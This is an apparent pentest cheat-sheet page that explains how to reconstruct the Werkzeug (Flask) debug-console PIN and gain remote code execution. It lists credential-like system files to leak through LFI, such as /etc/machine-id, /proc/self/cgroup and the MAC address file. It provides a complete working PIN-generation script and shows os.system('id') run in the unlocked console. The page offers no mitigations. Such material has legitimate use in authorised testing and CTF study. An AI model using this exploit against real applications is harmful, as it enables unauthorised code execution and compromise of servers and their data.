werkzeug-debug-console-pin-exploit-rce
Werkzeug Debug Console PIN Exploit (RCE)
Werkzeug (used by Flask) provides an interactive debug console when the application runs in debug mode.
This console allows arbitrary Python code execution.
To prevent abuse, Werkzeug protects the console with a PIN.
If an attacker can:
- Trigger a debug error page AND
- Reconstruct the PIN
Full Remote Code Execution (RCE) is possible.
When You See This Message
If you encounter the following on a Flask app:
The console is locked and needs to be unlocked by entering the PIN.
&#xNAN;You can find the PIN printed out on the standard output of your shell that runs the server.
This confirms:
- Debug mode is enabled
- Werkzeug debugger is exposed
- PIN-based protection is active
Why the PIN Is Weak
The Werkzeug PIN is deterministically generated, not random.
It is derived from:
- Public application details
- Machine-specific identifiers
If you can leak system files (via LFI, path traversal, etc.), you can recompute the PIN offline.
PIN Generation Internals
The PIN is generated from two groups of values:
1. probably_public_bits
These are values an attacker can usually guess or leak:
These can also be found if we can somehow trigger werkzeug error. Example: Trying to load a template that doesn't exists in templates folder.
| Field | Description |
|---|---|
| username | User running the Flask app |
| modname | Usually flask.app |
| app name | Usually Flask |
| module file path | Path to flask/app.py or app.py |
Example:
probably_public_bits = [
'www-data',
'flask.app',
'Flask',
'/usr/local/lib/python3.5/dist-packages/flask/app.py'
]
2. private_bits
These are machine identifiers, but often leakable (using LFI):
| Field | Source |
|---|---|
| MAC address | /sys/class/net/<iface>/address |
| Machine ID | /etc/machine-id or /proc/sys/kernel/random/boot_id |
| cgroup ID | /proc/self/cgroup |
Example:
private_bits = [
'279275995014060', # MAC address (decimal)
'd4e6cb65d59544f3331ea0425dc555a1' # machine-id
]
Getting the MAC Address
If you don’t know the interface name:
- Leak
/proc/net/arp - Identify the active interface (e.g.
ens3,eth0) - Read:
/sys/class/net/<iface>/address
Convert hex MAC to decimal:
>>> print(0x5600027a23ac)
94558041547692
PIN Generation Script
import hashlib
from itertools import chain
probably_public_bits = [
'www-data', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
## h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
## h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Using the PIN for RCE
- Trigger an exception → Debug page
- Click “Console”
- Enter generated PIN
- Execute arbitrary Python:
import os
os.system("id")
Version Notes
| Werkzeug Version | Hash |
|---|---|
| Old versions | md5 |
| Newer versions | sha1 |
If your PIN fails:
- Try switching
sha1↔md5